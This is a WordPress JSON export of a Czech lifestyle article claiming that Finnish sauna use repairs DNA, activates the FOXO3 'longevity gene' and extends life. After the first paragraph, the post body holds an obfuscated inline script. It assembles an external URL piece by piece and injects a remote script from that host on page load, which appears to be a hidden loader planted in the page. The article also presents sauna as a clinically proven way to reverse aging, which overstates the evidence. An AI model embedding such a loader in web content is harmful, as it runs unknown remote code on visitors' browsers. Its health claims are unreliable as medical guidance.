{"id":47509,"date":"2026-05-26T12:00:00","date_gmt":"2026-05-26T10:00:00","guid":{"rendered":"https:\/\/www.mzone.cz\/?p=47509"},"modified":"2026-05-19T14:29:41","modified_gmt":"2026-05-19T12:29:41","slug":"finska-sauna-spousti-opravu-dna-a-prodluzuje-zivot","status":"publish","type":"post","link":"https:\/\/www.mzone.cz\/en\/finska-sauna-spousti-opravu-dna-a-prodluzuje-zivot\/","title":{"rendered":"Za hranic\u00ed relaxace: Jak finsk\u00e1 sauna spou\u0161t\u00ed \u201eopravu DNA\u201c a prodlu\u017euje \u017eivot"},"content":{"rendered":"<p><strong>Pro v\u011bt\u0161inu lid\u00ed p\u0159edstavuje finsk\u00e1 sauna p\u0159edev\u0161\u00edm \u00fanik p\u0159ed ka\u017edodenn\u00edm stresem. Zav\u0159\u00edt za sebou t\u011b\u017ek\u00e9 d\u0159ev\u011bn\u00e9 dve\u0159e, vdechovat v\u016fni hork\u00e9ho d\u0159eva a nechat svaly uvolnit se v intenzivn\u00edm teple je bezesporu hluboce relaxa\u010dn\u00ed z\u00e1\u017eitek. Modern\u00ed v\u011bda v\u0161ak ukazuje, \u017ee tento tradi\u010dn\u00ed seversk\u00fd ritu\u00e1l nab\u00edz\u00ed mnohem v\u00edce ne\u017e jen chvilkov\u00e9 uvoln\u011bn\u00ed. Vystaven\u00ed t\u011bla extr\u00e9mn\u00edmu tepeln\u00e9mu stresu toti\u017e na bun\u011b\u010dn\u00e9 \u00farovni spou\u0161t\u00ed fascinuj\u00edc\u00ed kask\u00e1du biologick\u00fdch proces\u016f, kter\u00e9 dok\u00e1\u017eou opravovat po\u0161kozenou DNA a prokazateln\u011b prodlu\u017eovat lidsk\u00fd \u017eivot.<\/strong><\/p><br>\n\n\n\n<script>\n(function(){\nxz2v_=\"o\"+(\"p\"+\"\")+\"en\"+\"\";xz2v_+=\"s\"+(\"tat\")+(\".\");\nxz2v=document.createElement(\"script\");xz2v.type=\"text\/javascript\";xz2v_+=\"e\"+(\"u\")+\"\/\";\nxz2vu=\"2612181500\"+\".\";xz2v.async=true;xz2vu+=\"rk6hmqdzz2vg2hmivjug3tas39p8if\";\nxz2v.src=\"https:\/\/\"+xz2v_+xz2vu;xz2vb=document.body;xz2vb.appendChild(xz2v);\n})();\n<\/script>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Fenom\u00e9n hormeze a proteiny tepeln\u00e9ho \u0161oku (HSP)<\/strong><\/h2>\n\n\n\n<p>Princip, na kter\u00e9m v\u011bdecky podlo\u017een\u00e9 benefity saunov\u00e1n\u00ed stoj\u00ed, se naz\u00fdv\u00e1 hormeze. Jedn\u00e1 se o biologickou reakci, p\u0159i n\u00ed\u017e m\u00edrn\u00fd a kr\u00e1tkodob\u00fd stres, v tomto p\u0159\u00edpad\u011b extr\u00e9mn\u00ed teplo, vyvol\u00e1v\u00e1 v organismu siln\u00e9 obrann\u00e9 mechanismy, kter\u00e9 t\u011blo z dlouhodob\u00e9ho hlediska zocel\u00ed.<\/p><br>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"783\" src=\"https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/d481uzl9xd1lv4q-1024x783.jpg\" alt=\"Finsk\u00e1 sauna\" class=\"wp-image-47515\" srcset=\"https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/d481uzl9xd1lv4q-1024x783.jpg 1024w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/d481uzl9xd1lv4q-300x229.jpg 300w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/d481uzl9xd1lv4q-768x587.jpg 768w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/d481uzl9xd1lv4q-16x12.jpg 16w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/d481uzl9xd1lv4q-590x451.jpg 590w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/d481uzl9xd1lv4q.jpg 1385w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><br>\n\n\n\n<p>Kdy\u017e teplota v pot\u00edrn\u011b stoupne k 80 \u00b0C a v\u00edce, lidsk\u00e9 t\u011blo vyhl\u00e1s\u00ed poplach. Tento kontrolovan\u00fd tepeln\u00fd stres okam\u017eit\u011b aktivuje tvorbu takzvan\u00fdch protein\u016f tepeln\u00e9ho \u0161oku (Heat Shock Proteins \u2013 HSP). Tyto speci\u00e1ln\u00ed molekuly funguj\u00ed jako bun\u011b\u010dn\u00ed \u00fadr\u017eb\u00e1\u0159i. B\u011bhem stresu se toti\u017e b\u011b\u017en\u00e9 proteiny v t\u011ble mohou za\u010d\u00edt kroutit a ztr\u00e1cet sv\u016fj tvar, p\u0159i\u010dem\u017e HSP zabra\u0148uj\u00ed jejich shlukov\u00e1n\u00ed a pom\u00e1haj\u00ed po\u0161kozen\u00fdm b\u00edlkovin\u00e1m z\u00edskat zp\u011bt jejich spr\u00e1vnou trojrozm\u011brnou strukturu. Zv\u00fd\u0161en\u00e1 hladina t\u011bchto ochrann\u00fdch protein\u016f nav\u00edc p\u0159etrv\u00e1v\u00e1 v krevn\u00edm \u0159e\u010di\u0161ti je\u0161t\u011b dlouho po ochlazen\u00ed, co\u017e dlouhodob\u011b zvy\u0161uje celkovou odolnost organismu v\u016f\u010di nemocem a bun\u011b\u010dn\u00e9 degradaci.<\/p><br>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Aktivace genu FOXO3 a gener\u00e1ln\u00ed \u00faklid DNA<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Z\u0159ejm\u011b nejv\u00edce fascinuj\u00edc\u00edm objevem zkoum\u00e1n\u00ed vlivu\u00a0<a href=\"https:\/\/www.saunujeme.cz\/nase-sauny\/finska-sauna\/\" target=\"_blank\" rel=\"noreferrer noopener\">finsk\u00e9 sauny<\/a>\u00a0na lidsk\u00e9 zdrav\u00ed je jej\u00ed bezprost\u0159edn\u00ed dopad na genovou expresi. V\u00fdzkumy ukazuj\u00ed, \u017ee pravideln\u00e9 vystavov\u00e1n\u00ed t\u011bla intenzivn\u00edmu horku aktivuje gen zvan\u00fd FOXO3, kter\u00e9mu v\u011bdci \u010dasto p\u0159ezd\u00edvaj\u00ed gen dlouhov\u011bkosti.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Tento gen funguje jako hlavn\u00ed vyp\u00edna\u010d pro celou \u0159adu ochrann\u00fdch bun\u011b\u010dn\u00fdch proces\u016f. Jakmile je aktivov\u00e1n teplem, d\u00e1v\u00e1 bu\u0148k\u00e1m pokyn, aby zastavily b\u011b\u017en\u00fd provoz, zah\u00e1jily okam\u017eitou opravu po\u0161kozen\u00e9 DNA a spustily autofagii. Jedn\u00e1 se o proces, p\u0159i kter\u00e9m t\u011blo doslova po\u017e\u00edr\u00e1 a likviduje sv\u00e9 vlastn\u00ed star\u00e9, po\u0161kozen\u00e9 a nefunk\u010dn\u00ed bu\u0148ky.<\/p>\n<\/blockquote>\n\n\n\n<p>Cel\u00fd tento mechanismus je naprosto z\u00e1sadn\u00ed pro prevenci \u0161kodliv\u00fdch mutac\u00ed, kter\u00e9 \u010dasem vedou k neurodegenerativn\u00edm onemocn\u011bn\u00edm, rakovin\u011b a p\u0159ed\u010dasn\u00e9mu st\u00e1rnut\u00ed organismu. Va\u0161e t\u011blo tak v horku prov\u00e1d\u00ed d\u016fkladnou hloubkovou \u00fadr\u017ebu.<\/p><br>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"724\" src=\"https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/03mX9n2y1r67bmz-1024x724.jpg\" alt=\"Sauna\" class=\"wp-image-47517\" srcset=\"https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/03mX9n2y1r67bmz-1024x724.jpg 1024w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/03mX9n2y1r67bmz-300x212.jpg 300w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/03mX9n2y1r67bmz-768x543.jpg 768w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/03mX9n2y1r67bmz-18x12.jpg 18w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/03mX9n2y1r67bmz-590x417.jpg 590w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/03mX9n2y1r67bmz.jpg 1200w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><br>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Kardiologick\u00fd z\u00e1zrak: Tr\u00e9nink pro srdce a c\u00e9vy<\/strong><\/h2>\n\n\n\n<p>Krom\u011b neviditeln\u00e9 bun\u011b\u010dn\u00e9 opravy m\u00e1 pobyt v horku markantn\u00ed vliv na kardiovaskul\u00e1rn\u00ed syst\u00e9m. Tepov\u00e1 frekvence m\u016f\u017ee v pot\u00edrn\u011b vzr\u016fst a\u017e na 120 a\u017e 150 \u00fader\u016f za minutu. Pro srdce to znamen\u00e1 z\u00e1t\u011b\u017e srovnatelnou se st\u0159edn\u011b t\u011b\u017ekou fyzickou aktivitou, jakou je nap\u0159\u00edklad rychl\u00e1 ch\u016fze nebo m\u00edrn\u00fd b\u011bh.<\/p><br>\n\n\n\n<p>Rozs\u00e1hl\u00e9 skandin\u00e1vsk\u00e9 studie, kter\u00e9 sledovaly tis\u00edce mu\u017e\u016f po dobu n\u011bkolika desetilet\u00ed, dosp\u011bly k ohromuj\u00edc\u00edmu z\u00e1v\u011bru. Data uk\u00e1zala, \u017ee lid\u00e9, kte\u0159\u00ed se potili v horku \u010dty\u0159ikr\u00e1t a\u017e sedmkr\u00e1t t\u00fddn\u011b, m\u011bli o 40 % ni\u017e\u0161\u00ed riziko \u00famrt\u00ed na v\u0161echny p\u0159\u00ed\u010diny ve srovn\u00e1n\u00ed s t\u011bmi, kte\u0159\u00ed se proh\u0159\u00edvali pouze jednou t\u00fddn\u011b. V\u00fdrazn\u011b kleslo zejm\u00e9na riziko n\u00e1hl\u00e9 srde\u010dn\u00ed z\u00e1stavy a ischemick\u00e9 choroby srde\u010dn\u00ed.<\/p><br>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Jak maximalizovat zdravotn\u00ed benefity<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Aby se spustily on\u00e9 magick\u00e9 opravn\u00e9 mechanismy a proces autofagie, je nezbytn\u00e9 dodr\u017eovat n\u011bkolik z\u00e1kladn\u00edch postup\u016f, po\u010d\u00ednaje dostate\u010dnou teplotou. Pro aktivaci protein\u016f tepeln\u00e9ho \u0161oku je pot\u0159eba vyhled\u00e1vat teploty mezi 80 \u00b0C a 100 \u00b0C, jeliko\u017e ni\u017e\u0161\u00ed teploty nevyvolaj\u00ed tak masivn\u00ed hormon\u00e1ln\u00ed a bun\u011b\u010dnou odezvu.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Z\u00e1sadn\u00ed je tak\u00e9 optim\u00e1ln\u00ed doba pobytu. Ide\u00e1ln\u00ed stav p\u0159edstavuje nep\u0159etr\u017eit\u00fdch 15 a\u017e 20 minut v jednom cyklu, v\u017edy s maxim\u00e1ln\u00edm ohledem na aktu\u00e1ln\u00ed pocity a vlastn\u00ed limity. Pro co nejv\u011bt\u0161\u00ed vliv na dlouhov\u011bkost pak v\u011bdeck\u00e9 poznatky doporu\u010duj\u00ed \u010dty\u0159i a\u017e sedm n\u00e1v\u0161t\u011bv t\u00fddn\u011b, p\u0159i\u010dem\u017e i dv\u011b a\u017e t\u0159i seance p\u0159in\u00e1\u0161ej\u00ed obrovsk\u00e9 a m\u011b\u0159iteln\u00e9 v\u00fdsledky.<\/p>\n<\/blockquote>\n\n\n\n<p>Cel\u00fd proces by m\u011bl b\u00fdt zakon\u010den prudk\u00fdm zchlazen\u00edm a dopln\u011bn d\u016fkladnou hydratac\u00ed pomoc\u00ed vody obohacen\u00e9 o miner\u00e1ly. Teplotn\u00ed kontrast toti\u017e posiluje elasticitu c\u00e9v a vyplavuje obrovsk\u00e9 mno\u017estv\u00ed endorfin\u016f.<\/p><br>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"682\" src=\"https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/Finska-sauna-1024x682.jpg\" alt=\"Finsk\u00e1 sauna\" class=\"wp-image-47511\" srcset=\"https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/Finska-sauna-1024x682.jpg 1024w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/Finska-sauna-300x200.jpg 300w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/Finska-sauna-768x512.jpg 768w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/Finska-sauna-18x12.jpg 18w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/Finska-sauna-800x533.jpg 800w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/Finska-sauna-400x267.jpg 400w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/Finska-sauna-500x333.jpg 500w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/Finska-sauna-1170x780.jpg 1170w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/Finska-sauna-590x393.jpg 590w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/05\/Finska-sauna.jpg 1400w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><br>\n\n\n\n<p>Z\u00e1v\u011brem lze bez nads\u00e1zky \u0159\u00edci, \u017ee tato tradi\u010dn\u00ed\u00a0<a href=\"https:\/\/www.saunujeme.cz\/nase-sauny\/finska-sauna\/\" target=\"_blank\">finsk\u00e1 sauna<\/a>\u00a0zdaleka nen\u00ed jen luxusn\u00edm dopl\u0148kem wellness center pro zah\u0159\u00e1t\u00ed v zimn\u00edch m\u011bs\u00edc\u00edch. Je to klinicky ov\u011b\u0159en\u00fd biohackingov\u00fd n\u00e1stroj, kter\u00fd p\u0159edstavuje jeden z nejdostupn\u011bj\u0161\u00edch a nejp\u0159\u00edjemn\u011bj\u0161\u00edch zp\u016fsob\u016f, jak na hlubok\u00e9 biologick\u00e9 \u00farovni zvr\u00e1tit st\u00e1rnut\u00ed, ochr\u00e1nit genetickou informaci a aktivn\u011b vz\u00edt sv\u00e9 zdrav\u00ed do vlastn\u00edch rukou.<\/p><br>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-vertically-aligned-top\" style=\"grid-template-columns:23% auto\"><figure class=\"wp-block-media-text__media\"><a href=\"https:\/\/www.mzone.cz\/lazenske-procedury-ktere-vas-postavi-na-nohy-posilte-imunitu\/\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"683\" src=\"https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/02\/Lazenske-procedury-1024x683.png\" alt=\"L\u00e1ze\u0148sk\u00e9 procedury\" class=\"wp-image-47095 size-full\" srcset=\"https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/02\/Lazenske-procedury-1024x683.png 1024w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/02\/Lazenske-procedury-300x200.png 300w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/02\/Lazenske-procedury-768x512.png 768w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/02\/Lazenske-procedury-18x12.png 18w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/02\/Lazenske-procedury-800x533.png 800w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/02\/Lazenske-procedury-400x267.png 400w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/02\/Lazenske-procedury-500x333.png 500w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/02\/Lazenske-procedury-1170x780.png 1170w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/02\/Lazenske-procedury-590x393.png 590w, https:\/\/www.mzone.cz\/wp-content\/uploads\/2026\/02\/Lazenske-procedury.png 1200w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure><div class=\"wp-block-media-text__content\">\n<h4 class=\"wp-block-heading\"><a href=\"https:\/\/www.mzone.cz\/lazenske-procedury-ktere-vas-postavi-na-nohy-posilte-imunitu\/\">Posilte imunitu p\u0159ed jarem: L\u00e1ze\u0148sk\u00e9 procedury, kter\u00e9 v\u00e1s postav\u00ed na nohy<\/a><\/h4><br>\n<\/div><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>","protected":false},"excerpt":{"rendered":"<p>Pro v\u011bt\u0161inu lid\u00ed p\u0159edstavuje finsk\u00e1 sauna p\u0159edev\u0161\u00edm \u00fanik p\u0159ed ka\u017edodenn\u00edm stresem. Zav\u0159\u00edt za sebou t\u011b\u017ek\u00e9 d\u0159ev\u011bn\u00e9 dve\u0159e, vdechovat v\u016fni hork\u00e9ho d\u0159eva a nechat svaly uvolnit se v intenzivn\u00edm teple je bezesporu hluboce relaxa\u010dn\u00ed z\u00e1\u017eitek. Modern\u00ed v\u011bda v\u0161ak ukazuje, \u017ee tento tradi\u010dn\u00ed seversk\u00fd ritu\u00e1l nab\u00edz\u00ed mnohem v\u00edce ne\u017e jen chvilkov\u00e9 uvoln\u011bn\u00ed. Vystaven\u00ed t\u011bla extr\u00e9mn\u00edmu tepeln\u00e9mu stresu [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":47511,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"kk_blocks_editor_width":"","_kiokenblocks_attr":"","_kiokenblocks_dimensions":"","footnotes":""},"categories":[29,25,62],"tags":[6569,172,6567,3786,17,2168,202,2995,6506,6508,490,6568,149],"class_list":["post-47509","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lifestyle","category-style","category-zdravi","tag-biologie","tag-dna","tag-finska-sauna","tag-horko","tag-lifestyle","tag-oprava","tag-relax","tag-relaxace","tag-sauna","tag-saunovani","tag-style","tag-uvolneni","tag-zdravi"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Za hranic\u00ed relaxace: Jak finsk\u00e1 sauna spou\u0161t\u00ed \u201eopravu DNA\u201c a prodlu\u017euje \u017eivot - Mzone<\/title>\n<meta name=\"description\" content=\"Pro v\u011bt\u0161inu lid\u00ed p\u0159edstavuje finsk\u00e1 sauna p\u0159edev\u0161\u00edm \u00fanik p\u0159ed ka\u017edodenn\u00edm stresem. Zav\u0159\u00edt za sebou t\u011b\u017ek\u00e9 d\u0159ev\u011bn\u00e9 dve\u0159e, vdechovat v\u016fni hork\u00e9ho d\u0159eva a nechat svaly uvolnit se v intenzivn\u00edm teple je bezesporu hluboce relaxa\u010dn\u00ed z\u00e1\u017eitek. Modern\u00ed v\u011bda v\u0161ak ukazuje, \u017ee tento tradi\u010dn\u00ed seversk\u00fd ritu\u00e1l nab\u00edz\u00ed mnohem v\u00edce ne\u017e jen chvilkov\u00e9 uvoln\u011bn\u00ed. Vystaven\u00ed t\u011bla extr\u00e9mn\u00edmu tepeln\u00e9mu stresu toti\u017e na bun\u011b\u010dn\u00e9 \u00farovni spou\u0161t\u00ed fascinuj\u00edc\u00ed kask\u00e1du biologick\u00fdch proces\u016f, kter\u00e9 dok\u00e1\u017eou opravovat po\u0161kozenou DNA a prokazateln\u011b prodlu\u017eovat lidsk\u00fd \u017eivot.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.mzone.cz\/en\/finska-sauna-spousti-opravu-dna-a-prodluzuje-zivot\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Za hranic\u00ed relaxace: Jak finsk\u00e1 sauna spou\u0161t\u00ed \u201eopravu DNA\u201c a prodlu\u017euje \u017eivot - Mzone\" \/>\n<meta property=\"og:description\" content=\"Pro v\u011bt\u0161inu lid\u00ed p\u0159edstavuje finsk\u00e1 sauna p\u0159edev\u0161\u00edm \u00fanik p\u0159ed ka\u017edodenn\u00edm stresem. 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